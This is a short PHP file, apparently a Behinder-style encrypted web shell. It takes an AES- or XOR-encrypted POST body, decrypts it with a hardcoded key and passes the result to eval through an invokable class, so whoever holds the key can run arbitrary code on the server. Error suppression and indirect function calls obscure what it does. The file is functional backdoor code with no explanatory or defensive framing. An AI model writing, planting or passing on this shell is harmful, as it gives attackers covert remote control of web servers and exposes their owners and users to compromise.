<?php
@error_reporting(0);
session_start();
$key="51cde2428157040e";
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl')){
    $t="base64_"."decode";
    $post=$t($post."");
    for($i=0;$i<strlen($post);$i++){ $post[$i]=$post[$i]^$key[$i+1&15]; }
}else{
    $post=openssl_decrypt($post,"AES128",$key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p){@eval($p."");}}
@call_user_func_array(new C(),array($params));
?>